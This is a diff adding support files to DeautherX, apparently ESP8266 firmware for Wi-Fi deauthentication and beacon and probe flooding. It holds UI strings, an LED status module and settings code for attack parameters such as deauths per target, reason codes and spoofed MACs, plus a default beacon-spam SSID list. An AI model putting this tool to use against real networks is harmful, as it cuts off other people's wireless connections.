const char AP_TABLE_HEADER[] PROGMEM = "ID SSID Name Ch RSSI Enc. Mac Vendor Selected";
|
||||
const char AP_TABLE_DIVIDER[] PROGMEM = "=====================================================================================================";
|
||||
const char AP_HIDDE_SSID[] PROGMEM = "*HIDDEN*";
|
||||
const char AP_WEP[] PROGMEM = "WEP";
|
||||
const char AP_WPA[] PROGMEM = "WPA";
|
||||
const char AP_WPA2[] PROGMEM = "WPA2";
|
||||
const char AP_AUTO[] PROGMEM = "WPA*";
|
||||
const char AP_SELECTED[] PROGMEM = "Selected access point ";
|
||||
const char AP_DESELECTED[] PROGMEM = "Deselected access point ";
|
||||
const char AP_REMOVED[] PROGMEM = "Removed access point ";
|
||||
const char AP_SELECTED_ALL[] PROGMEM = "Selected all APs";
|
||||
const char AP_DESELECTED_ALL[] PROGMEM = "Deselected all APs";
|
||||
const char AP_REMOVED_ALL[] PROGMEM = "Removed all APs";
|
||||
const char AP_NO_AP_ERROR[] PROGMEM = "ERROR: No AP found with ID ";
|
||||
|
||||
// ===== ATTACKS ===== //
|
||||
const char A_START[] PROGMEM = "Start attacking";
|
||||
const char A_NO_MODE_ERROR[] PROGMEM = "WARNING: No valid attack mode set";
|
||||
const char A_STOP[] PROGMEM = "Stopped attacking";
|
||||
const char A_TIMEOUT[] PROGMEM = "Timeout - ";
|
||||
const char A_STATUS[] PROGMEM = "[Pkt/s] All: %+4u | Deauths: %+3u/%-3u | Beacons: %+3u/%-3u | Probes: %+3u/%-3u\r\n";
|
||||
const char A_ENABLED_OUTPUT[] PROGMEM = "Enabled attack output";
|
||||
const char A_DISABLED_OUTPUT[] PROGMEM = "Disabled attack output";
|
||||
|
||||
// ===== NAMES ===== //
|
||||
const char N_SAVED[] PROGMEM = "Device names saved in ";
|
||||
const char N_LOADED[] PROGMEM = "Device names loaded from ";
|
||||
const char N_REMOVED_ALL[] PROGMEM = "Removed all saved device names";
|
||||
const char N_HEADER[] PROGMEM = "[===== Saved Devices =====]";
|
||||
const char N_TABLE_HEADER[] PROGMEM = "ID MAC Vendor Name AP-BSSID Ch Selected";
|
||||
const char N_TABLE_DIVIDER[] PROGMEM = "============================================================================";
|
||||
const char N_ERROR_LIST_EMPTY[] PROGMEM = "Device name list is empty :(";
|
||||
const char N_ERROR_NO_SELECTED[] PROGMEM = "No devices selected";
|
||||
const char N_ERROR_LIST_FULL[] PROGMEM = "ERROR: Name list is full!";
|
||||
const char N_ADDED[] PROGMEM = "Added to device name list ";
|
||||
const char N_REPLACED[] PROGMEM = "Replaced device name list ";
|
||||
const char N_REMOVED[] PROGMEM = "Removed from the device name list ";
|
||||
const char N_CHANGED_NAME[] PROGMEM = "Changed device name";
|
||||
const char N_CHANGED_MAC[] PROGMEM = "Changed device mac";
|
||||
const char N_CHANGED_BSSID[] PROGMEM = "Changed device AP-BSSID";
|
||||
const char N_CHANGED_CH[] PROGMEM = "Changed device channel";
|
||||
const char N_SELECTED[] PROGMEM = "Selected device ";
|
||||
const char N_ERROR_NOT_FOUND[] PROGMEM = "No device found with name ";
|
||||
const char N_DESELECTED[] PROGMEM = "Deselected device ";
|
||||
const char N_SELECTED_ALL[] PROGMEM = "Selected all device names";
|
||||
const char N_DESELECTED_ALL[] PROGMEM = "Deselected all device names";
|
||||
|
||||
// ===== SSIDs ===== //
|
||||
const char SS_LOADED[] PROGMEM = "SSIDs loaded from ";
|
||||
const char SS_CLEARED[] PROGMEM = "Cleared SSID list";
|
||||
const char SS_SAVED[] PROGMEM = "SSIDs saved";
|
||||
const char SS_SAVED_IN[] PROGMEM = "SSIDs saved in ";
|
||||
const char SS_REMOVED[] PROGMEM = "Removed SSID ";
|
||||
const char SS_ERROR_FULL[] PROGMEM =
|
||||
"ERROR: SSID list is full! Remove some SSIDs first or run command with -f (force) parameter.";
|
||||
const char SS_ADDED[] PROGMEM = "Added SSID ";
|
||||
const char SS_REPLACED[] PROGMEM = "Replaced SSID ";
|
||||
const char SS_TABLE_HEADER[] PROGMEM = "ID Enc. SSID";
|
||||
const char SS_TABLE_DIVIDER[] PROGMEM = "=========================================";
|
||||
const char SS_HEADER[] PROGMEM = "[===== SSIDs =====]";
|
||||
const char SS_ERROR_EMPTY[] PROGMEM = "SSID list is empty :(";
|
||||
const char SS_RANDOM_ENABLED[] PROGMEM = "SSID random mode enabled";
|
||||
const char SS_RANDOM_DISABLED[] PROGMEM = "SSID random mode deactivated";
|
||||
const char SS_JSON_SSIDS[] PROGMEM = "ssids";
|
||||
const char SS_JSON_RANDOM[] PROGMEM = "random";
|
||||
const char SS_JSON_DEFAULT[] PROGMEM = R"(
|
||||
{
|
||||
"random": false,
|
||||
"ssids": [
|
||||
["Я узнал", false, 1],
|
||||
["что у меня", true, 2],
|
||||
["Есть огромная", false, 3],
|
||||
["семья", true, 4],
|
||||
["И тропинка", false, 5],
|
||||
["и лесок", true, 6],
|
||||
["В поле", false, 7],
|
||||
["каждый колосок", true, 8],
|
||||
["Речка,", false, 9],
|
||||
["небо голубое -", true, 10],
|
||||
["Это все", true, 11],
|
||||
["мое родное", false, 12],
|
||||
["Это Родина моя,", true, 13],
|
||||
["Всех люблю", false, 14],
|
||||
["на свете я!", true, 15]
|
||||
]
|
||||
}
|
||||
|
||||
)";
|
||||
const char SS_RANDOM_INFO[] PROGMEM = "Generating new SSIDs... Type \"disable random\" to stop the random mode";
|
||||
|
||||
// ===== SCAN ==== //
|
||||
const char SC_START_CLIENT[] PROGMEM = "Starting Scan for stations (client devices) - ";
|
||||
const char SS_START_SNIFFER[] PROGMEM = "Starting packet sniffer - ";
|
||||
const char SC_ERROR_NO_AP[] PROGMEM =
|
||||
"ERROR: AP-list empty! Can't scan for clients, please Scan for Accesspoints first.";
|
||||
const char SC_INFINITELY[] PROGMEM = " infinitely";
|
||||
const char SC_ON_CHANNEL[] PROGMEM = " on channel ";
|
||||
const char SC_START_AP[] PROGMEM = "Starting scan for access points (Wi-Fi networks)...";
|
||||
const char SC_ONE_TO[] PROGMEM = "1 - ";
|
||||
const char SC_STOPPED[] PROGMEM = "Stopped scan";
|
||||
const char SC_RESTRAT[] PROGMEM = "Scan will restart in ";
|
||||
const char SC_CONTINUE[] PROGMEM = "s - type stop to disable the continuous mode";
|
||||
const char SC_RESTART[] PROGMEM = "restarting in ";
|
||||
const char SC_ERROR_MODE[] PROGMEM = "ERROR: Invalid scan mode ";
|
||||
const char SC_OUTPUT_A[] PROGMEM = "Scanning WiFi [%+2u%%]: %+3u packets/s | %+2u devices | %+2u deauths\r\n";
|
||||
const char SC_OUTPUT_B[] PROGMEM = "Scanning WiFi: %+3u packets/s | %+2u devices | %+2u deauths\r\n";
|
||||
const char SC_JSON_APS[] PROGMEM = "aps";
|
||||
const char SC_JSON_STATIONS[] PROGMEM = "stations";
|
||||
const char SC_JSON_NAMES[] PROGMEM = "names";
|
||||
const char SC_SAVED[] PROGMEM = "Saved scan results";
|
||||
const char SC_SAVED_IN[] PROGMEM = "Scan results saved in ";
|
||||
const char SC_MODE_OFF[] PROGMEM = "-";
|
||||
const char SC_MODE_AP[] PROGMEM = "APs";
|
||||
const char SC_MODE_ST[] PROGMEM = "STs";
|
||||
const char SC_MODE_ALL[] PROGMEM = "AP+ST";
|
||||
const char SC_MODE_SNIFFER[] PROGMEM = "Sniffer";
|
||||
|
||||
// ===== FUNCTIONS ===== //
|
||||
const char F_ERROR_MAC[] PROGMEM = "ERROR: MAC address invalid";
|
||||
const char F_COLOR_INVALID[] PROGMEM = "ERROR: Color code invalid";
|
||||
const char F_ERROR_READING_FILE[] PROGMEM = "ERROR: reading file ";
|
||||
const char F_LINE[] PROGMEM = "[%d] ";
|
||||
const char F_ERROR_FILE[] PROGMEM = "ERROR: File doesn't exist ";
|
||||
const char F_ERROR_OPEN[] PROGMEM = "ERROR couldn't open ";
|
||||
const char F_ERROR_PARSING_JSON[] PROGMEM = "ERROR parsing JSON ";
|
||||
const char F_ERROR_TO_BIG[] PROGMEM = "ERROR file too big ";
|
||||
const char F_TMP[] PROGMEM = "/tmp";
|
||||
const char F_COPY[] PROGMEM = "_copy";
|
||||
const char F_ERROR_SAVING[] PROGMEM = "ERROR: saving file. Try 'format' and restart - ";
|
||||
|
||||
// ===== WIFI ===== //
|
||||
const char W_STOPPED_AP[] PROGMEM = "Stopped Access Point";
|
||||
const char W_AP_REQUEST[] PROGMEM = "[AP] request: ";
|
||||
const char W_AP[] PROGMEM = "AP";
|
||||
const char W_STATION[] PROGMEM = "Station";
|
||||
const char W_MODE_OFF[] PROGMEM = "OFF";
|
||||
const char W_MODE_AP[] PROGMEM = "AP";
|
||||
const char W_MODE_ST[] PROGMEM = "STATION";
|
||||
const char W_OK[] PROGMEM = " OK";
|
||||
const char W_NOT_FOUND[] PROGMEM = " NOT FOUND";
|
||||
const char W_BAD_ARGS[] PROGMEM = "BAD ARGS";
|
||||
const char W_BAD_PATH[] PROGMEM = "BAD PATH";
|
||||
const char W_FILE_NOT_FOUND[] PROGMEM = "ERROR 404 File Not Found";
|
||||
const char W_STARTED_AP[] PROGMEM = "Started AP";
|
||||
const char W_WEBINTERFACE[] PROGMEM = "/web"; // default folder containing the web files
|
||||
const char W_DEFAULT_LANG[] PROGMEM = "/lang/default.lang";
|
||||
|
||||
const char W_HTML[] PROGMEM = "text/html";
|
||||
const char W_CSS[] PROGMEM = "text/css";
|
||||
const char W_JS[] PROGMEM = "application/javascript";
|
||||
const char W_PNG[] PROGMEM = "image/png";
|
||||
const char W_GIF[] PROGMEM = "image/gif";
|
||||
const char W_JPG[] PROGMEM = "image/jpeg";
|
||||
const char W_ICON[] PROGMEM = "image/x-icon";
|
||||
const char W_XML[] PROGMEM = "text/xml";
|
||||
const char W_XPDF[] PROGMEM = "application/x-pdf";
|
||||
const char W_XZIP[] PROGMEM = "application/x-zip";
|
||||
const char W_GZIP[] PROGMEM = "application/x-gzip";
|
||||
const char W_JSON[] PROGMEM = "application/json";
|
||||
const char W_TXT[] PROGMEM = "text/plain";
|
||||
|
||||
const char W_DOT_HTM[] PROGMEM = ".htm";
|
||||
const char W_DOT_HTML[] PROGMEM = ".html";
|
||||
const char W_DOT_CSS[] PROGMEM = ".css";
|
||||
const char W_DOT_JS[] PROGMEM = ".js";
|
||||
const char W_DOT_PNG[] PROGMEM = ".png";
|
||||
const char W_DOT_GIF[] PROGMEM = ".gif";
|
||||
const char W_DOT_JPG[] PROGMEM = ".jpg";
|
||||
const char W_DOT_ICON[] PROGMEM = ".ico";
|
||||
const char W_DOT_XML[] PROGMEM = ".xml";
|
||||
const char W_DOT_PDF[] PROGMEM = ".pdf";
|
||||
const char W_DOT_ZIP[] PROGMEM = ".zip";
|
||||
const char W_DOT_GZIP[] PROGMEM = ".gz";
|
||||
const char W_DOT_JSON[] PROGMEM = ".json";
|
||||
|
||||
// ===== SETTINGS ====== //
|
||||
// Version
|
||||
const char S_JSON_VERSION[] PROGMEM = "version";
|
||||
|
||||
// Autosave
|
||||
const char S_JSON_AUTOSAVE[] PROGMEM = "autosave";
|
||||
const char S_JSON_AUTOSAVETIME[] PROGMEM = "autosavetime";
|
||||
|
||||
// Attack
|
||||
const char S_JSON_BEACONCHANNEL[] PROGMEM = "beaconchannel";
|
||||
const char S_JSON_RANDOMTX[] PROGMEM = "randomTX";
|
||||
const char S_JSON_ATTACKTIMEOUT[] PROGMEM = "attacktimeout";
|
||||
const char S_JSON_DEAUTHSPERTARGET[] PROGMEM = "deauthspertarget";
|
||||
const char S_JSON_DEAUTHREASON[] PROGMEM = "deauthReason";
|
||||
const char S_JSON_BEACONINTERVAL[] PROGMEM = "beaconInterval";
|
||||
const char S_JSON_PROBESPERSSID[] PROGMEM = "probesPerSSID";
|
||||
|
||||
// WiFi
|
||||
const char S_JSON_CHANNEL[] PROGMEM = "channel";
|
||||
const char S_JSON_MACST[] PROGMEM = "macSt";
|
||||
const char S_JSON_MACAP[] PROGMEM = "macAP";
|
||||
|
||||
// Sniffer
|
||||
const char S_JSON_CHTIME[] PROGMEM = "chtime";
|
||||
const char S_JSON_MIN_DEAUTHS[] PROGMEM = "minDeauths";
|
||||
|
||||
// AP
|
||||
const char S_JSON_SSID[] PROGMEM = "ssid";
|
||||
const char S_JSON_PASSWORD[] PROGMEM = "password";
|
||||
const char S_JSON_HIDDEN[] PROGMEM = "hidden";
|
||||
const char S_JSON_IP[] PROGMEM = "ip";
|
||||
|
||||
// Web
|
||||
const char S_JSON_WEBINTERFACE[] PROGMEM = "webinterface";
|
||||
const char S_JSON_CAPTIVEPORTAL[] PROGMEM = "captivePortal";
|
||||
const char S_JSON_WEB_SPIFFS[] PROGMEM = "webSpiffs";
|
||||
const char S_JSON_LANG[] PROGMEM = "lang";
|
||||
|
||||
// CLI
|
||||
const char S_JSON_SERIALINTERFACE[] PROGMEM = "serial";
|
||||
const char S_JSON_SERIAL_ECHO[] PROGMEM = "serialEcho";
|
||||
|
||||
// LED
|
||||
const char S_JSON_LEDENABLED[] PROGMEM = "led";
|
||||
|
||||
// Display
|
||||
const char S_JSON_DISPLAYINTERFACE[] PROGMEM = "display";
|
||||
const char S_JSON_DISPLAY_TIMEOUT[] PROGMEM = "displayTimeout";
|
||||
139
DeautherX/led.cpp
Normal file
139
DeautherX/led.cpp
Normal file
@@ -0,0 +1,139 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#include "led.h"
|
||||
#include "A_config.h"
|
||||
#include <Arduino.h>
|
||||
#include "language.h"
|
||||
#include "settings.h"
|
||||
#include "Attack.h"
|
||||
#include "Scan.h"
|
||||
|
||||
extern Attack attack;
|
||||
extern Scan scan;
|
||||
|
||||
namespace led {
|
||||
// ===== PRIVATE ===== //
|
||||
LED_MODE mode = OFF;
|
||||
|
||||
// Определяем пины для отдельных светодиодов
|
||||
const uint8_t ZLED_PIN_R = 15; // D8 - Красный
|
||||
const uint8_t ZLED_PIN_G = 16; // D0 - Зеленый
|
||||
const uint8_t ZLED_PIN_B = 13; // D7 - Синий
|
||||
|
||||
// Яркость для каждого режима (0-255)
|
||||
const uint8_t BRIGHTNESS_HIGH = 255;
|
||||
const uint8_t BRIGHTNESS_MED = 128;
|
||||
const uint8_t BRIGHTNESS_LOW = 64;
|
||||
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
// Для отдельных светодиодов используем digitalWrite
|
||||
// Если нужна яркость - можно использовать analogWrite с ШИМ пинами
|
||||
|
||||
// Красный светодиод
|
||||
if (ZLED_PIN_R < 255) {
|
||||
digitalWrite(ZLED_PIN_R, r > 0 ? HIGH : LOW);
|
||||
}
|
||||
|
||||
// Зеленый светодиод
|
||||
if (ZLED_PIN_G < 255) {
|
||||
digitalWrite(ZLED_PIN_G, g > 0 ? HIGH : LOW);
|
||||
}
|
||||
|
||||
// Синий светодиод
|
||||
if (ZLED_PIN_B < 255) {
|
||||
digitalWrite(ZLED_PIN_B, b > 0 ? HIGH : LOW);
|
||||
}
|
||||
}
|
||||
|
||||
// Функции для отдельных цветов (опционально)
|
||||
void setRed() {
|
||||
setColor(255, 0, 0);
|
||||
}
|
||||
|
||||
void setGreen() {
|
||||
setColor(0, 255, 0);
|
||||
}
|
||||
|
||||
void setBlue() {
|
||||
setColor(0, 0, 255);
|
||||
}
|
||||
|
||||
void setYellow() {
|
||||
setColor(255, 255, 0);
|
||||
}
|
||||
|
||||
void setPurple() {
|
||||
setColor(255, 0, 255);
|
||||
}
|
||||
|
||||
void setCyan() {
|
||||
setColor(0, 255, 255);
|
||||
}
|
||||
|
||||
void setWhite() {
|
||||
setColor(255, 255, 255);
|
||||
}
|
||||
|
||||
// ===== PUBLIC ===== //
|
||||
void setup() {
|
||||
// Настраиваем пины как выходы
|
||||
if (ZLED_PIN_R < 255) pinMode(ZLED_PIN_R, OUTPUT);
|
||||
if (ZLED_PIN_G < 255) pinMode(ZLED_PIN_G, OUTPUT);
|
||||
if (ZLED_PIN_B < 255) pinMode(ZLED_PIN_B, OUTPUT);
|
||||
|
||||
// Выключаем все светодиоды при старте
|
||||
setColor(0, 0, 0);
|
||||
}
|
||||
|
||||
void update() {
|
||||
if (!settings::getLEDSettings().enabled) {
|
||||
setMode(OFF);
|
||||
} else if (scan.isScanning() && (scan.deauths < settings::getSnifferSettings().min_deauth_frames)) {
|
||||
setMode(SCAN);
|
||||
} else if (attack.isRunning()) {
|
||||
setMode(ATTACK);
|
||||
} else {
|
||||
setMode(IDLE);
|
||||
}
|
||||
}
|
||||
|
||||
void setMode(LED_MODE new_mode, bool force) {
|
||||
if ((new_mode != mode) || force) {
|
||||
mode = new_mode;
|
||||
|
||||
switch (mode) {
|
||||
case OFF:
|
||||
setColor(0, 0, 0); // Все выключено
|
||||
break;
|
||||
case SCAN:
|
||||
setColor(0, 255, 0); // Зеленый - сканирование
|
||||
break;
|
||||
case ATTACK:
|
||||
setColor(255, 0, 0); // Красный - атака
|
||||
break;
|
||||
case IDLE:
|
||||
setColor(0, 0, 255); // Синий - режим ожидания
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Дополнительные функции для более сложных индикаций
|
||||
void blinkRed(int times = 3, int delayMs = 200) {
|
||||
for (int i = 0; i < times; i++) {
|
||||
setRed();
|
||||
delay(delayMs);
|
||||
setColor(0, 0, 0);
|
||||
delay(delayMs);
|
||||
}
|
||||
}
|
||||
|
||||
void blinkGreen(int times = 3, int delayMs = 200) {
|
||||
for (int i = 0; i < times; i++) {
|
||||
setGreen();
|
||||
delay(delayMs);
|
||||
setColor(0, 0, 0);
|
||||
delay(delayMs);
|
||||
}
|
||||
}
|
||||
}
|
||||
19
DeautherX/led.h
Normal file
19
DeautherX/led.h
Normal file
@@ -0,0 +1,19 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
|
||||
enum LED_MODE {
|
||||
OFF,
|
||||
SCAN,
|
||||
ATTACK,
|
||||
IDLE
|
||||
};
|
||||
|
||||
namespace led {
|
||||
void setup();
|
||||
void update();
|
||||
void setMode(LED_MODE new_mode, bool force = false);
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
}
|
||||
39802
DeautherX/oui.h
Normal file
39802
DeautherX/oui.h
Normal file
File diff suppressed because it is too large
Load Diff
322
DeautherX/settings.cpp
Normal file
322
DeautherX/settings.cpp
Normal file
@@ -0,0 +1,322 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#include "settings.h"
|
||||
|
||||
#include "A_config.h" // Default Settings
|
||||
#include "language.h" // prnt and prntln
|
||||
#include "EEPROMHelper.h" // To load and save settings_t
|
||||
#include "debug.h"
|
||||
|
||||
#define MAGIC_NUM 3416245
|
||||
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern bool macValid(uint8_t* mac);
|
||||
|
||||
#define JSON_FLAG(_NAME, _VALUE)\
|
||||
str += String('"') + String(FPSTR(_NAME)) + String(F("\":")) + String(_VALUE ? "true" : "false") + String(',');
|
||||
|
||||
#define JSON_VALUE(_NAME, _VALUE)\
|
||||
str += String('"') + String(FPSTR(_NAME)) + String(F("\":\"")) + String(_VALUE) + String(F("\","));
|
||||
|
||||
#define JSON_INT(_NAME, _VALUE)\
|
||||
str += String('"') + String(FPSTR(_NAME)) + String(F("\":")) + String(_VALUE) + String(',');
|
||||
|
||||
#define JSON_HEX(_NAME, _BYTES, _LEN)\
|
||||
str += String('"') + String(FPSTR(_NAME)) + String(F("\":\""));\
|
||||
for (int i = 0; i<_LEN; i++) {\
|
||||
if (i > 0) str += ':';\
|
||||
if (_BYTES[i] < 0x10) str += '0';\
|
||||
str += String(_BYTES[i], HEX);\
|
||||
}\
|
||||
str += String(F("\","));
|
||||
|
||||
#define JSON_DEC(_NAME, _BYTES, _LEN)\
|
||||
str += String(F("\"")) + String(FPSTR(_NAME)) + String(F("\":\""));\
|
||||
for (int i = 0; i<_LEN; i++) {\
|
||||
if (i > 0) str += '.';\
|
||||
str += String(_BYTES[i]);\
|
||||
}\
|
||||
str += String(F("\","));
|
||||
|
||||
|
||||
namespace settings {
|
||||
// ========== PRIVATE ========== //
|
||||
const char* SETTINGS_PATH = "/settings.json";
|
||||
|
||||
settings_t data;
|
||||
bool changed = false;
|
||||
|
||||
void get_json(String& str) {
|
||||
str = String();
|
||||
str.reserve(600);
|
||||
|
||||
str += '{';
|
||||
|
||||
// Version
|
||||
JSON_VALUE(S_JSON_VERSION, DEAUTHER_VERSION);
|
||||
|
||||
// Autosave
|
||||
JSON_FLAG(S_JSON_AUTOSAVE, data.autosave.enabled);
|
||||
JSON_INT(S_JSON_AUTOSAVETIME, data.autosave.time);
|
||||
|
||||
// Attack
|
||||
JSON_FLAG(S_JSON_BEACONCHANNEL, data.attack.attack_all_ch);
|
||||
JSON_FLAG(S_JSON_RANDOMTX, data.attack.random_tx);
|
||||
JSON_INT(S_JSON_ATTACKTIMEOUT, data.attack.timeout);
|
||||
JSON_INT(S_JSON_DEAUTHSPERTARGET, data.attack.deauths_per_target);
|
||||
JSON_INT(S_JSON_DEAUTHREASON, data.attack.deauth_reason);
|
||||
JSON_FLAG(S_JSON_BEACONINTERVAL, data.attack.beacon_interval == INTERVAL_1S);
|
||||
JSON_INT(S_JSON_PROBESPERSSID, data.attack.probe_frames_per_ssid);
|
||||
|
||||
// WiFi
|
||||
JSON_INT(S_JSON_CHANNEL, data.wifi.channel);
|
||||
JSON_HEX(S_JSON_MACST, data.wifi.mac_st, 6);
|
||||
JSON_HEX(S_JSON_MACAP, data.wifi.mac_ap, 6);
|
||||
|
||||
// Sniffer
|
||||
JSON_INT(S_JSON_CHTIME, data.sniffer.channel_time);
|
||||
JSON_INT(S_JSON_MIN_DEAUTHS, data.sniffer.min_deauth_frames);
|
||||
|
||||
// Access Point
|
||||
JSON_VALUE(S_JSON_SSID, data.ap.ssid);
|
||||
JSON_VALUE(S_JSON_PASSWORD, data.ap.password);
|
||||
JSON_FLAG(S_JSON_HIDDEN, data.ap.hidden);
|
||||
JSON_DEC(S_JSON_IP, data.ap.ip, 4);
|
||||
|
||||
// Web Interface
|
||||
JSON_FLAG(S_JSON_WEBINTERFACE, data.web.enabled);
|
||||
JSON_FLAG(S_JSON_CAPTIVEPORTAL, data.web.captive_portal);
|
||||
JSON_FLAG(S_JSON_WEB_SPIFFS, data.web.use_spiffs);
|
||||
JSON_VALUE(S_JSON_LANG, data.web.lang);
|
||||
|
||||
// CLI
|
||||
JSON_FLAG(S_JSON_SERIALINTERFACE, data.cli.enabled);
|
||||
JSON_FLAG(S_JSON_SERIAL_ECHO, data.cli.serial_echo);
|
||||
|
||||
// LED
|
||||
JSON_FLAG(S_JSON_LEDENABLED, data.led.enabled);
|
||||
|
||||
// Display
|
||||
JSON_FLAG(S_JSON_DISPLAYINTERFACE, data.display.enabled);
|
||||
JSON_INT(S_JSON_DISPLAY_TIMEOUT, data.display.timeout);
|
||||
|
||||
str.setCharAt(str.length()-1, '}');
|
||||
}
|
||||
|
||||
// ========== PUBLIC ========== //
|
||||
void load() {
|
||||
debugF("Loading settings...");
|
||||
|
||||
// read data from eeproms
|
||||
settings_t newData;
|
||||
|
||||
EEPROMHelper::getObject(SETTINGS_ADDR, newData);
|
||||
|
||||
// calc and check hash
|
||||
if (newData.magic_num == MAGIC_NUM) {
|
||||
data = newData;
|
||||
data.version.major = DEAUTHER_VERSION_MAJOR;
|
||||
data.version.minor = DEAUTHER_VERSION_MINOR;
|
||||
data.version.revision = DEAUTHER_VERSION_REVISION;
|
||||
debuglnF("OK");
|
||||
save();
|
||||
} else {
|
||||
debuglnF("Invalid Hash");
|
||||
|
||||
/*debug(data.magic_num);
|
||||
debugF(" != ");
|
||||
debugln(MAGIC_NUM);*/
|
||||
|
||||
reset();
|
||||
save();
|
||||
}
|
||||
|
||||
// check and fix mac
|
||||
if (!macValid(data.wifi.mac_st)) getRandomMac(data.wifi.mac_st);
|
||||
if (!macValid(data.wifi.mac_ap)) getRandomMac(data.wifi.mac_ap);
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void reset() {
|
||||
data.magic_num = MAGIC_NUM;
|
||||
|
||||
data.version.major = DEAUTHER_VERSION_MAJOR;
|
||||
data.version.minor = DEAUTHER_VERSION_MINOR;
|
||||
data.version.revision = DEAUTHER_VERSION_REVISION;
|
||||
|
||||
data.attack.attack_all_ch = ATTACK_ALL_CH;
|
||||
data.attack.random_tx = RANDOM_TX;
|
||||
data.attack.timeout = ATTACK_TIMEOUT;
|
||||
data.attack.deauths_per_target = DEAUTHS_PER_TARGET;
|
||||
data.attack.deauth_reason = DEAUTH_REASON;
|
||||
data.attack.beacon_interval = beacon_interval_t::INTERVAL_100MS;
|
||||
data.attack.probe_frames_per_ssid = PROBE_FRAMES_PER_SSID;
|
||||
|
||||
data.wifi.channel = 1;
|
||||
getRandomMac(data.wifi.mac_st);
|
||||
getRandomMac(data.wifi.mac_ap);
|
||||
|
||||
data.sniffer.channel_time = CH_TIME;
|
||||
data.sniffer.min_deauth_frames = MIN_DEAUTH_FRAMES;
|
||||
|
||||
strncpy(data.ap.ssid, AP_SSID, 32);
|
||||
strncpy(data.ap.password, AP_PASSWD, 64);
|
||||
data.ap.hidden = AP_HIDDEN;
|
||||
uint8_t ip[4] = AP_IP_ADDR;
|
||||
|
||||
memcpy(data.ap.ip, ip, 4);
|
||||
|
||||
data.web.enabled = WEB_ENABLED;
|
||||
data.web.captive_portal = WEB_CAPTIVE_PORTAL;
|
||||
data.web.use_spiffs = WEB_USE_SPIFFS;
|
||||
memcpy(data.web.lang, DEFAULT_LANG, 3);
|
||||
|
||||
data.cli.enabled = CLI_ENABLED;
|
||||
data.cli.serial_echo = CLI_ECHO;
|
||||
|
||||
data.led.enabled = USE_LED;
|
||||
|
||||
data.display.enabled = USE_DISPLAY;
|
||||
data.display.timeout = DISPLAY_TIMEOUT;
|
||||
|
||||
changed = true;
|
||||
|
||||
debuglnF("Settings reset to default");
|
||||
}
|
||||
|
||||
void save(bool force) {
|
||||
if (force || changed) {
|
||||
EEPROMHelper::saveObject(SETTINGS_ADDR, data);
|
||||
changed = false;
|
||||
|
||||
String json_buffer;
|
||||
get_json(json_buffer);
|
||||
|
||||
if (writeFile(SETTINGS_PATH, json_buffer)) {
|
||||
debugF("Settings saved in ");
|
||||
} else {
|
||||
debugF("ERROR: saving ");
|
||||
}
|
||||
|
||||
debugln(SETTINGS_PATH);
|
||||
}
|
||||
}
|
||||
|
||||
void print() {
|
||||
String json_buffer;
|
||||
|
||||
get_json(json_buffer);
|
||||
|
||||
json_buffer.replace("\":", ": ");
|
||||
json_buffer.replace(": 0\r\n", ": false\r\n");
|
||||
json_buffer.replace(": 1\r\n", ": true\r\n");
|
||||
json_buffer.replace("\"", "");
|
||||
json_buffer.replace("{", "");
|
||||
json_buffer.replace("}", "");
|
||||
json_buffer.replace(",", "\r\n");
|
||||
|
||||
debuglnF("[========== Settings ==========]");
|
||||
debugln(json_buffer);
|
||||
}
|
||||
|
||||
// ===== GETTERS ===== //
|
||||
|
||||
const settings_t& getAllSettings() {
|
||||
return data;
|
||||
}
|
||||
|
||||
const version_t& getVersion() {
|
||||
return data.version;
|
||||
}
|
||||
|
||||
const autosave_settings_t& getAutosaveSettings() {
|
||||
return data.autosave;
|
||||
}
|
||||
|
||||
const attack_settings_t& getAttackSettings() {
|
||||
return data.attack;
|
||||
}
|
||||
|
||||
const wifi_settings_t& getWifiSettings() {
|
||||
return data.wifi;
|
||||
}
|
||||
|
||||
const sniffer_settings_t& getSnifferSettings() {
|
||||
return data.sniffer;
|
||||
}
|
||||
|
||||
const access_point_settings_t& getAccessPointSettings() {
|
||||
return data.ap;
|
||||
}
|
||||
|
||||
const web_settings_t& getWebSettings() {
|
||||
return data.web;
|
||||
}
|
||||
|
||||
const cli_settings_t& getCLISettings() {
|
||||
return data.cli;
|
||||
}
|
||||
|
||||
const led_settings_t& getLEDSettings() {
|
||||
return data.led;
|
||||
}
|
||||
|
||||
const display_settings_t& getDisplaySettings() {
|
||||
return data.display;
|
||||
}
|
||||
|
||||
// ===== SETTERS ===== //
|
||||
|
||||
void setAllSettings(settings_t& newSettings) {
|
||||
newSettings.version = data.version;
|
||||
data = newSettings;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void setAutosaveSettings(const autosave_settings_t& autosave) {
|
||||
data.autosave = autosave;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void setAttackSettings(const attack_settings_t& attack) {
|
||||
data.attack = attack;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void setWifiSettings(const wifi_settings_t& wifi) {
|
||||
data.wifi = wifi;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void setSnifferSettings(const sniffer_settings_t& sniffer) {
|
||||
data.sniffer = sniffer;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void setAccessPointSettings(const access_point_settings_t& ap) {
|
||||
data.ap = ap;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void setWebSettings(const web_settings_t& web) {
|
||||
data.web = web;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void setCLISettings(const cli_settings_t& cli) {
|
||||
data.cli = cli;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void setLEDSettings(const led_settings_t& led) {
|
||||
data.led = led;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void setDisplaySettings(const display_settings_t& display) {
|
||||
data.display = display;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
134
DeautherX/settings.h
Normal file
134
DeautherX/settings.h
Normal file
@@ -0,0 +1,134 @@
